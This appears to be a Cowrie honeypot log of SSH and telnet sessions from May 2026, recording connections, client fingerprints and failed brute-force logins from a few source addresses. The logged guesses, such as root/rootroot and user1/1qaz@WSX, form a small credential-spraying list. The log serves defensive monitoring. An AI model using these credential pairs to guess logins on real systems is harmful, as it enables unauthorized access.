{"eventid":"cowrie.session.closed","duration":"1.6","message":"Connection lost after 1.6 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-15T21:27:43.692467Z","src_ip":"192.109.200.237","session":"157428d1b5f0","protocol":"ssh"}
{"eventid":"cowrie.session.connect","src_ip":"192.109.200.237","src_port":44546,"dst_ip":"159.203.135.109","dst_port":22,"session":"906ac2e5c2c9","protocol":"ssh","message":"New connection: 192.109.200.237:44546 (159.203.135.109:22) [session: 906ac2e5c2c9]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-15T21:27:45.807305Z"}
{"eventid":"cowrie.client.version","version":"SSH-2.0-Go","message":"Remote SSH version: SSH-2.0-Go","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-15T21:27:45.812491Z","src_ip":"192.109.200.237","session":"906ac2e5c2c9","protocol":"ssh"}
{"eventid":"cowrie.client.kex","hassh":"0a07365cc01fa9fc82608ba4019af499","hasshAlgorithms":"curve25519-sha256,curve25519-sha256@libssh.org,ecdh-sha2-nistp256,ecdh-sha2-nistp384,ecdh-sha2-nistp521,diffie-hellman-group14-sha256,diffie-hellman-group14-sha1,ext-info-c,kex-strict-c-v00@openssh.com;aes128-gcm@openssh.com,aes256-gcm@openssh.com,chacha20-poly1305@openssh.com,aes128-ctr,aes192-ctr,aes256-ctr;hmac-sha2-256-etm@openssh.com,hmac-sha2-512-etm@openssh.com,hmac-sha2-256,hmac-sha2-512,hmac-sha1,hmac-sha1-96;none","kexAlgs":["curve25519-sha256","curve25519-sha256@libssh.org","ecdh-sha2-nistp256","ecdh-sha2-nistp384","ecdh-sha2-nistp521","diffie-hellman-group14-sha256","diffie-hellman-group14-sha1","ext-info-c","kex-strict-c-v00@openssh.com"],"keyAlgs":["rsa-sha2-256-cert-v01@openssh.com","rsa-sha2-512-cert-v01@openssh.com","ssh-rsa-cert-v01@openssh.com","ssh-dss-cert-v01@openssh.com","ecdsa-sha2-nistp256-cert-v01@openssh.com","ecdsa-sha2-nistp384-cert-v01@openssh.com","ecdsa-sha2-nistp521-cert-v01@openssh.com","ssh-ed25519-cert-v01@openssh.com","ecdsa-sha2-nistp256","ecdsa-sha2-nistp384","ecdsa-sha2-nistp521","rsa-sha2-256","rsa-sha2-512","ssh-rsa","ssh-dss","ssh-ed25519"],"encCS":["aes128-gcm@openssh.com","aes256-gcm@openssh.com","chacha20-poly1305@openssh.com","aes128-ctr","aes192-ctr","aes256-ctr"],"macCS":["hmac-sha2-256-etm@openssh.com","hmac-sha2-512-etm@openssh.com","hmac-sha2-256","hmac-sha2-512","hmac-sha1","hmac-sha1-96"],"compCS":["none"],"langCS":[""],"message":"SSH client hassh fingerprint: 0a07365cc01fa9fc82608ba4019af499","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-15T21:27:45.894459Z","src_ip":"192.109.200.237","session":"906ac2e5c2c9","protocol":"ssh"}
{"eventid":"cowrie.login.failed","username":"root","password":"1029384756","message":"login attempt [root/1029384756] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-15T21:27:46.140816Z","src_ip":"192.109.200.237","session":"906ac2e5c2c9","protocol":"ssh"}
{"eventid":"cowrie.session.connect","src_ip":"50.6.8.71","src_port":59502,"dst_ip":"10.17.0.5","dst_port":23,"session":"8382ada945a3","protocol":"telnet","message":"New connection: 50.6.8.71:59502 (10.17.0.5:23) [session: 8382ada945a3]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-15T21:27:47.144490Z"}
{"eventid":"cowrie.session.closed","duration":"1.5","message":"Connection lost after 1.5 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-15T21:27:47.346334Z","src_ip":"192.109.200.237","session":"906ac2e5c2c9","protocol":"ssh"}
{"eventid":"cowrie.session.connect","src_ip":"192.109.200.237","src_port":44568,"dst_ip":"159.203.135.109","dst_port":22,"session":"a0e87e02988c","protocol":"ssh","message":"New connection: 192.109.200.237:44568 (159.203.135.109:22) [session: a0e87e02988c]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-15T21:27:49.456989Z"}
{"eventid":"cowrie.client.version","version":"SSH-2.0-Go","message":"Remote SSH version: SSH-2.0-Go","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-15T21:27:49.461192Z","src_ip":"192.109.200.237","session":"a0e87e02988c","protocol":"ssh"}
{"eventid":"cowrie.client.kex","hassh":"0a07365cc01fa9fc82608ba4019af499","hasshAlgorithms":"curve25519-sha256,curve25519-sha256@libssh.org,ecdh-sha2-nistp256,ecdh-sha2-nistp384,ecdh-sha2-nistp521,diffie-hellman-group14-sha256,diffie-hellman-group14-sha1,ext-info-c,kex-strict-c-v00@openssh.com;aes128-gcm@openssh.com,aes256-gcm@openssh.com,chacha20-poly1305@openssh.com,aes128-ctr,aes192-ctr,aes256-ctr;hmac-sha2-256-etm@openssh.com,hmac-sha2-512-etm@openssh.com,hmac-sha2-256,hmac-sha2-512,hmac-sha1,hmac-sha1-96;none","kexAlgs":["curve25519-sha256","curve25519-sha256@libssh.org","ecdh-sha2-nistp256","ecdh-sha2-nistp384","ecdh-sha2-nistp521","diffie-hellman-group14-sha256","diffie-hellman-group14-sha1","ext-info-c","kex-strict-c-v00@openssh.com"],"keyAlgs":["rsa-sha2-256-cert-v01@openssh.com","rsa-sha2-512-cert-v01@openssh.com","ssh-rsa-cert-v01@openssh.com","ssh-dss-cert-v01@openssh.com","ecdsa-sha2-nistp256-cert-v01@openssh.com","ecdsa-sha2-nistp384-cert-v01@openssh.com","ecdsa-sha2-nistp521-cert-v01@openssh.com","ssh-ed25519-cert-v01@openssh.com","ecdsa-sha2-nistp256","ecdsa-sha2-nistp384","ecdsa-sha2-nistp521","rsa-sha2-256","rsa-sha2-512","ssh-rsa","ssh-dss","ssh-ed25519"],"encCS":["aes128-gcm@openssh.com","aes256-gcm@openssh.com","chacha20-poly1305@openssh.com","aes128-ctr","aes192-ctr","aes256-ctr"],"macCS":["hmac-sha2-256-etm@openssh.com","hmac-sha2-512-etm@openssh.com","hmac-sha2-256","hmac-sha2-512","hmac-sha1","hmac-sha1-96"],"compCS":["none"],"langCS":[""],"message":"SSH client hassh fingerprint: 0a07365cc01fa9fc82608ba4019af499","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-15T21:27:49.543323Z","src_ip":"192.109.200.237","session":"a0e87e02988c","protocol":"ssh"}
{"eventid":"cowrie.login.failed","username":"root","password":"rootroot","message":"login attempt [root/rootroot] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-15T21:27:49.790181Z","src_ip":"192.109.200.237","session":"a0e87e02988c","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":"1.4","message":"Connection lost after 1.4 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-15T21:27:50.875818Z","src_ip":"192.109.200.237","session":"a0e87e02988c","protocol":"ssh"}
{"eventid":"cowrie.session.connect","src_ip":"192.109.200.237","src_port":33352,"dst_ip":"159.203.135.109","dst_port":22,"session":"eda596e61fd0","protocol":"ssh","message":"New connection: 192.109.200.237:33352 (159.203.135.109:22) [session: eda596e61fd0]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-15T21:27:52.980493Z"}
{"eventid":"cowrie.client.version","version":"SSH-2.0-Go","message":"Remote SSH version: SSH-2.0-Go","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-15T21:27:52.985413Z","src_ip":"192.109.200.237","session":"eda596e61fd0","protocol":"ssh"}
{"eventid":"cowrie.client.kex","hassh":"0a07365cc01fa9fc82608ba4019af499","hasshAlgorithms":"curve25519-sha256,curve25519-sha256@libssh.org,ecdh-sha2-nistp256,ecdh-sha2-nistp384,ecdh-sha2-nistp521,diffie-hellman-group14-sha256,diffie-hellman-group14-sha1,ext-info-c,kex-strict-c-v00@openssh.com;aes128-gcm@openssh.com,aes256-gcm@openssh.com,chacha20-poly1305@openssh.com,aes128-ctr,aes192-ctr,aes256-ctr;hmac-sha2-256-etm@openssh.com,hmac-sha2-512-etm@openssh.com,hmac-sha2-256,hmac-sha2-512,hmac-sha1,hmac-sha1-96;none","kexAlgs":["curve25519-sha256","curve25519-sha256@libssh.org","ecdh-sha2-nistp256","ecdh-sha2-nistp384","ecdh-sha2-nistp521","diffie-hellman-group14-sha256","diffie-hellman-group14-sha1","ext-info-c","kex-strict-c-v00@openssh.com"],"keyAlgs":["rsa-sha2-256-cert-v01@openssh.com","rsa-sha2-512-cert-v01@openssh.com","ssh-rsa-cert-v01@openssh.com","ssh-dss-cert-v01@openssh.com","ecdsa-sha2-nistp256-cert-v01@openssh.com","ecdsa-sha2-nistp384-cert-v01@openssh.com","ecdsa-sha2-nistp521-cert-v01@openssh.com","ssh-ed25519-cert-v01@openssh.com","ecdsa-sha2-nistp256","ecdsa-sha2-nistp384","ecdsa-sha2-nistp521","rsa-sha2-256","rsa-sha2-512","ssh-rsa","ssh-dss","ssh-ed25519"],"encCS":["aes128-gcm@openssh.com","aes256-gcm@openssh.com","chacha20-poly1305@openssh.com","aes128-ctr","aes192-ctr","aes256-ctr"],"macCS":["hmac-sha2-256-etm@openssh.com","hmac-sha2-512-etm@openssh.com","hmac-sha2-256","hmac-sha2-512","hmac-sha1","hmac-sha1-96"],"compCS":["none"],"langCS":[""],"message":"SSH client hassh fingerprint: 0a07365cc01fa9fc82608ba4019af499","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-15T21:27:53.068735Z","src_ip":"192.109.200.237","session":"eda596e61fd0","protocol":"ssh"}
{"eventid":"cowrie.login.failed","username":"user1","password":"1qaz@WSX","message":"login attempt [user1/1qaz@WSX] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-15T21:27:53.317628Z","src_ip":"192.109.200.237","session":"eda596e61fd0","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":"1.4","message":"Connection lost after 1.4 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-15T21:27:54.406320Z","src_ip":"192.109.200.237","session":"eda596e61fd0","protocol":"ssh"}
{"eventid":"cowrie.session.connect","src_ip":"192.109.200.237","src_port":33366,"dst_ip":"159.203.135.109","dst_port":22,"session":"e12a5ce4031b","protocol":"ssh","message":"New connection: 192.109.200.237:33366 (159.203.135.109:22) [session: e12a5ce4031b]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-15T21:27:56.388448Z"}
{"eventid":"cowrie.client.version","version":"SSH-2.0-Go","message":"Remote SSH version: SSH-2.0-Go","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-15T21:27:56.393441Z","src_ip":"192.109.200.237","session":"e12a5ce4031b","protocol":"ssh"}
{"eventid":"cowrie.client.kex","hassh":"0a07365cc01fa9fc82608ba4019af499","hasshAlgorithms":"curve25519-sha256,curve25519-sha256@libssh.org,ecdh-sha2-nistp256,ecdh-sha2-nistp384,ecdh-sha2-nistp521,diffie-hellman-group14-sha256,diffie-hellman-group14-sha1,ext-info-c,kex-strict-c-v00@openssh.com;aes128-gcm@openssh.com,aes256-gcm@openssh.com,chacha20-poly1305@openssh.com,aes128-ctr,aes192-ctr,aes256-ctr;hmac-sha2-256-etm@openssh.com,hmac-sha2-512-etm@openssh.com,hmac-sha2-256,hmac-sha2-512,hmac-sha1,hmac-sha1-96;none","kexAlgs":["curve25519-sha256","curve25519-sha256@libssh.org","ecdh-sha2-nistp256","ecdh-sha2-nistp384","ecdh-sha2-nistp521","diffie-hellman-group14-sha256","diffie-hellman-group14-sha1","ext-info-c","kex-strict-c-v00@openssh.com"],"keyAlgs":["rsa-sha2-256-cert-v01@openssh.com","rsa-sha2-512-cert-v01@openssh.com","ssh-rsa-cert-v01@openssh.com","ssh-dss-cert-v01@openssh.com","ecdsa-sha2-nistp256-cert-v01@openssh.com","ecdsa-sha2-nistp384-cert-v01@openssh.com","ecdsa-sha2-nistp521-cert-v01@openssh.com","ssh-ed25519-cert-v01@openssh.com","ecdsa-sha2-nistp256","ecdsa-sha2-nistp384","ecdsa-sha2-nistp521","rsa-sha2-256","rsa-sha2-512","ssh-rsa","ssh-dss","ssh-ed25519"],"encCS":["aes128-gcm@openssh.com","aes256-gcm@openssh.com","chacha20-poly1305@openssh.com","aes128-ctr","aes192-ctr","aes256-ctr"],"macCS":["hmac-sha2-256-etm@openssh.com","hmac-sha2-512-etm@openssh.com","hmac-sha2-256","hmac-sha2-512","hmac-sha1","hmac-sha1-96"],"compCS":["none"],"langCS":[""],"message":"SSH client hassh fingerprint: 0a07365cc01fa9fc82608ba4019af499","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-15T21:27:56.475580Z","src_ip":"192.109.200.237","session":"e12a5ce4031b","protocol":"ssh"}
{"eventid":"cowrie.login.failed","username":"root","password":"1qaz@WSX3edc","message":"login attempt [root/1qaz@WSX3edc] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-15T21:27:56.728128Z","src_ip":"192.109.200.237","session":"e12a5ce4031b","protocol":"ssh"}
{"eventid":"cowrie.session.connect","src_ip":"103.153.68.219","src_port":56600,"dst_ip":"10.17.0.5","dst_port":22,"session":"e60ea383564c","protocol":"ssh","message":"New connection: 103.153.68.219:56600 (10.17.0.5:22) [session: e60ea383564c]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-15T21:27:56.954281Z"}
{"eventid":"cowrie.client.version","version":"SSH-2.0-Go","message":"Remote SSH version: SSH-2.0-Go","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-15T21:27:56.958778Z","src_ip":"103.153.68.219","session":"e60ea383564c","protocol":"ssh"}
{"eventid":"cowrie.client.kex","hassh":"16443846184eafde36765c9bab2f4397","hasshAlgorithms":"mlkem768x25519-sha256,curve25519-sha256,curve25519-sha256@libssh.org,ecdh-sha2-nistp256,ecdh-sha2-nistp384,ecdh-sha2-nistp521,diffie-hellman-group14-sha256,diffie-hellman-group14-sha1,ext-info-c,kex-strict-c-v00@openssh.com;aes128-gcm@openssh.com,aes256-gcm@openssh.com,chacha20-poly1305@openssh.com,aes128-ctr,aes192-ctr,aes256-ctr;hmac-sha2-256-etm@openssh.com,hmac-sha2-512-etm@openssh.com,hmac-sha2-256,hmac-sha2-512,hmac-sha1,hmac-sha1-96;none","kexAlgs":["mlkem768x25519-sha256","curve25519-sha256","curve25519-sha256@libssh.org","ecdh-sha2-nistp256","ecdh-sha2-nistp384","ecdh-sha2-nistp521","diffie-hellman-group14-sha256","diffie-hellman-group14-sha1","ext-info-c","kex-strict-c-v00@openssh.com"],"keyAlgs":["rsa-sha2-256-cert-v01@openssh.com","rsa-sha2-512-cert-v01@openssh.com","ssh-rsa-cert-v01@openssh.com","ssh-dss-cert-v01@openssh.com","ecdsa-sha2-nistp256-cert-v01@openssh.com","ecdsa-sha2-nistp384-cert-v01@openssh.com","ecdsa-sha2-nistp521-cert-v01@openssh.com","ssh-ed25519-cert-v01@openssh.com","ecdsa-sha2-nistp256","ecdsa-sha2-nistp384","ecdsa-sha2-nistp521","rsa-sha2-256","rsa-sha2-512","ssh-rsa","ssh-dss","ssh-ed25519"],"encCS":["aes128-gcm@openssh.com","aes256-gcm@openssh.com","chacha20-poly1305@openssh.com","aes128-ctr","aes192-ctr","aes256-ctr"],"macCS":["hmac-sha2-256-etm@openssh.com","hmac-sha2-512-etm@openssh.com","hmac-sha2-256","hmac-sha2-512","hmac-sha1","hmac-sha1-96"],"compCS":["none"],"langCS":[""],"message":"SSH client hassh fingerprint: 16443846184eafde36765c9bab2f4397","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-15T21:27:57.209777Z","src_ip":"103.153.68.219","session":"e60ea383564c","protocol":"ssh"}
{"eventid":"cowrie.session.connect","src_ip":"50.6.8.71","src_port":45810,"dst_ip":"10.17.0.5","dst_port":23,"session":"8a0df5ccbff5","protocol":"telnet","message":"New connection: 50.6.8.71:45810 (10.17.0.5:23) [session: 8a0df5ccbff5]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-15T21:27:57.608713Z"}
{"eventid":"cowrie.session.closed","duration":"1.4","message":"Connection lost after 1.4 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-15T21:27:57.812909Z","src_ip":"192.109.200.237","session":"e12a5ce4031b","protocol":"ssh"}
{"eventid":"cowrie.login.failed","username":"root","password":"test1234","message":"login attempt [root/test1234] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-15T21:27:57.964544Z","src_ip":"103.153.68.219","session":"e60ea383564c","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":"2.3","message":"Connection lost after 2.3 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-15T21:27:59.222194Z","src_ip":"103.153.68.219","session":"e60ea383564c","protocol":"ssh"}
{"eventid":"cowrie.session.connect","src_ip":"192.109.200.237","src_port":33376,"dst_ip":"159.203.135.109","dst_port":22,"session":"f71eaae0764e","protocol":"ssh","message":"New connection: 192.109.200.237:33376 (159.203.135.109:22) [session: f71eaae0764e]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-15T21:27:59.939191Z"}
{"eventid":"cowrie.client.version","version":"SSH-2.0-Go","message":"Remote SSH version: SSH-2.0-Go","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-15T21:27:59.961234Z","src_ip":"192.109.200.237","session":"f71eaae0764e","protocol":"ssh"}
{"eventid":"cowrie.client.kex","hassh":"0a07365cc01fa9fc82608ba4019af499","hasshAlgorithms":"curve25519-sha256,curve25519-sha256@libssh.org,ecdh-sha2-nistp256,ecdh-sha2-nistp384,ecdh-sha2-nistp521,diffie-hellman-group14-sha256,diffie-hellman-group14-sha1,ext-info-c,kex-strict-c-v00@openssh.com;aes128-gcm@openssh.com,aes256-gcm@openssh.com,chacha20-poly1305@openssh.com,aes128-ctr,aes192-ctr,aes256-ctr;hmac-sha2-256-etm@openssh.com,hmac-sha2-512-etm@openssh.com,hmac-sha2-256,hmac-sha2-512,hmac-sha1,hmac-sha1-96;none","kexAlgs":["curve25519-sha256","curve25519-sha256@libssh.org","ecdh-sha2-nistp256","ecdh-sha2-nistp384","ecdh-sha2-nistp521","diffie-hellman-group14-sha256","diffie-hellman-group14-sha1","ext-info-c","kex-strict-c-v00@openssh.com"],"keyAlgs":["rsa-sha2-256-cert-v01@openssh.com","rsa-sha2-512-cert-v01@openssh.com","ssh-rsa-cert-v01@openssh.com","ssh-dss-cert-v01@openssh.com","ecdsa-sha2-nistp256-cert-v01@openssh.com","ecdsa-sha2-nistp384-cert-v01@openssh.com","ecdsa-sha2-nistp521-cert-v01@openssh.com","ssh-ed25519-cert-v01@openssh.com","ecdsa-sha2-nistp256","ecdsa-sha2-nistp384","ecdsa-sha2-nistp521","rsa-sha2-256","rsa-sha2-512","ssh-rsa","ssh-dss","ssh-ed25519"],"encCS":["aes128-gcm@openssh.com","aes256-gcm@openssh.com","chacha20-poly1305@openssh.com","aes128-ctr","aes192-ctr","aes256-ctr"],"macCS":["hmac-sha2-256-etm@openssh.com","hmac-sha2-512-etm@openssh.com","hmac-sha2-256","hmac-sha2-512","hmac-sha1","hmac-sha1-96"],"compCS":["none"],"langCS":[""],"message":"SSH client hassh fingerprint: 0a07365cc01fa9fc82608ba4019af499","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-15T21:28:00.022995Z","src_ip":"192.109.200.237","session":"f71eaae0764e","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":30.084505796432495,"message":"Connection lost after 30 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-15T21:28:00.181720Z","src_ip":"50.6.8.71","session":"1dce0af74154","protocol":"telnet"}
{"eventid":"cowrie.login.failed","username":"niaoyun","password":"123456","message":"login attempt [niaoyun/123456] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-15T21:28:00.340757Z","src_ip":"192.109.200.237","session":"f71eaae0764e","protocol":"ssh"}
{"eventid":"cowrie.session.connect","src_ip":"50.6.8.71","src_port":45824,"dst_ip":"10.17.0.5","dst_port":23,"session":"0eae0a1805b8","protocol":"telnet","message":"New connection: 50.6.8.71:45824 (10.17.0.5:23) [session: 0eae0a1805b8]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-15T21:28:01.174680Z"}
{"eventid":"cowrie.session.closed","duration":"1.5","message":"Connection lost after 1.5 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-15T21:28:01.425963Z","src_ip":"192.109.200.237","session":"f71eaae0764e","protocol":"ssh"}
{"eventid":"cowrie.session.connect","src_ip":"192.109.200.237","src_port":50970,"dst_ip":"159.203.135.109","dst_port":22,"session":"b55c66e043ce","protocol":"ssh","message":"New connection: 192.109.200.237:50970 (159.203.135.109:22) [session: b55c66e043ce]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-15T21:28:03.574308Z"}
{"eventid":"cowrie.client.version","version":"SSH-2.0-Go","message":"Remote SSH version: SSH-2.0-Go","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-15T21:28:03.584681Z","src_ip":"192.109.200.237","session":"b55c66e043ce","protocol":"ssh"}
{"eventid":"cowrie.client.kex","hassh":"0a07365cc01fa9fc82608ba4019af499","hasshAlgorithms":"curve25519-sha256,curve25519-sha256@libssh.org,ecdh-sha2-nistp256,ecdh-sha2-nistp384,ecdh-sha2-nistp521,diffie-hellman-group14-sha256,diffie-hellman-group14-sha1,ext-info-c,kex-strict-c-v00@openssh.com;aes128-gcm@openssh.com,aes256-gcm@openssh.com,chacha20-poly1305@openssh.com,aes128-ctr,aes192-ctr,aes256-ctr;hmac-sha2-256-etm@openssh.com,hmac-sha2-512-etm@openssh.com,hmac-sha2-256,hmac-sha2-512,hmac-sha1,hmac-sha1-96;none","kexAlgs":["curve25519-sha256","curve25519-sha256@libssh.org","ecdh-sha2-nistp256","ecdh-sha2-nistp384","ecdh-sha2-nistp521","diffie-hellman-group14-sha256","diffie-hellman-group14-sha1","ext-info-c","kex-strict-c-v00@openssh.com"],"keyAlgs":["rsa-sha2-256-cert-v01@openssh.com","rsa-sha2-512-cert-v01@openssh.com","ssh-rsa-cert-v01@openssh.com","ssh-dss-cert-v01@openssh.com","ecdsa-sha2-nistp256-cert-v01@openssh.com","ecdsa-sha2-nistp384-cert-v01@openssh.com","ecdsa-sha2-nistp521-cert-v01@openssh.com","ssh-ed25519-cert-v01@openssh.com","ecdsa-sha2-nistp256","ecdsa-sha2-nistp384","ecdsa-sha2-nistp521","rsa-sha2-256","rsa-sha2-512","ssh-rsa","ssh-dss","ssh-ed25519"],"encCS":["aes128-gcm@openssh.com","aes256-gcm@openssh.com","chacha20-poly1305@openssh.com","aes128-ctr","aes192-ctr","aes256-ctr"],"macCS":["hmac-sha2-256-etm@openssh.com","hmac-sha2-512-etm@openssh.com","hmac-sha2-256","hmac-sha2-512","hmac-sha1","hmac-sha1-96"],"compCS":["none"],"langCS":[""],"message":"SSH client hassh fingerprint: 0a07365cc01fa9fc82608ba4019af499","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-15T21:28:03.667924Z","src_ip":"192.109.200.237","session":"b55c66e043ce","protocol":"ssh"}
{"eventid":"cowrie.login.failed","username":"ftp","password":"123456","message":"login attempt [ftp/123456] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-15T21:28:03.929144Z","src_ip":"192.109.200.237","session":"b55c66e043ce","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":34.26309418678284,"message":"Connection lost after 34 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-15T21:28:03.952637Z","src_ip":"50.6.8.71","session":"f021cd900d58","protocol":"telnet"}
{"eventid":"cowrie.session.closed","duration":"1.4","message":"Connection lost after 1.4 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-15T21:28:05.015434Z","src_ip":"192.109.200.237","session":"b55c66e043ce","protocol":"ssh"}
{"eventid":"cowrie.session.connect","src_ip":"192.109.200.237","src_port":50980,"dst_ip":"159.203.135.109","dst_port":22,"session":"6bbf7b6d2692","protocol":"ssh","message":"New connection: 192.109.200.237:50980 (159.203.135.109:22) [session: 6bbf7b6d2692]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-15T21:28:07.149161Z"}
{"eventid":"cowrie.client.version","version":"SSH-2.0-Go","message":"Remote SSH version: SSH-2.0-Go","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-15T21:28:07.153706Z","src_ip":"192.109.200.237","session":"6bbf7b6d2692","protocol":"ssh"}
{"eventid":"cowrie.client.kex","hassh":"0a07365cc01fa9fc82608ba4019af499","hasshAlgorithms":"curve25519-sha256,curve25519-sha256@libssh.org,ecdh-sha2-nistp256,ecdh-sha2-nistp384,ecdh-sha2-nistp521,diffie-hellman-group14-sha256,diffie-hellman-group14-sha1,ext-info-c,kex-strict-c-v00@openssh.com;aes128-gcm@openssh.com,aes256-gcm@openssh.com,chacha20-poly1305@openssh.com,aes128-ctr,aes192-ctr,aes256-ctr;hmac-sha2-256-etm@openssh.com,hmac-sha2-512-etm@openssh.com,hmac-sha2-256,hmac-sha2-512,hmac-sha1,hmac-sha1-96;none","kexAlgs":["curve25519-sha256","curve25519-sha256@libssh.org","ecdh-sha2-nistp256","ecdh-sha2-nistp384","ecdh-sha2-nistp521","diffie-hellman-group14-sha256","diffie-hellman-group14-sha1","ext-info-c","kex-strict-c-v00@openssh.com"],"keyAlgs":["rsa-sha2-256-cert-v01@openssh.com","rsa-sha2-512-cert-v01@openssh.com","ssh-rsa-cert-v01@openssh.com","ssh-dss-cert-v01@openssh.com","ecdsa-sha2-nistp256-cert-v01@openssh.com","ecdsa-sha2-nistp384-cert-v01@openssh.com","ecdsa-sha2-nistp521-cert-v01@openssh.com","ssh-ed25519-cert-v01@openssh.com","ecdsa-sha2-nistp256","ecdsa-sha2-nistp384","ecdsa-sha2-nistp521","rsa-sha2-256","rsa-sha2-512","ssh-rsa","ssh-dss","ssh-ed25519"],"encCS":["aes128-gcm@openssh.com","aes256-gcm@openssh.com","chacha20-poly1305@openssh.com","aes128-ctr","aes192-ctr","aes256-ctr"],"macCS":["hmac-sha2-256-etm@openssh.com","hmac-sha2-512-etm@openssh.com","hmac-sha2-256","hmac-sha2-512","hmac-sha1","hmac-sha1-96"],"compCS":["none"],"langCS":[""],"message":"SSH client hassh fingerprint: 0a07365cc01fa9fc82608ba4019af499","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-15T21:28:07.235687Z","src_ip":"192.109.200.237","session":"6bbf7b6d2692","protocol":"ssh"}
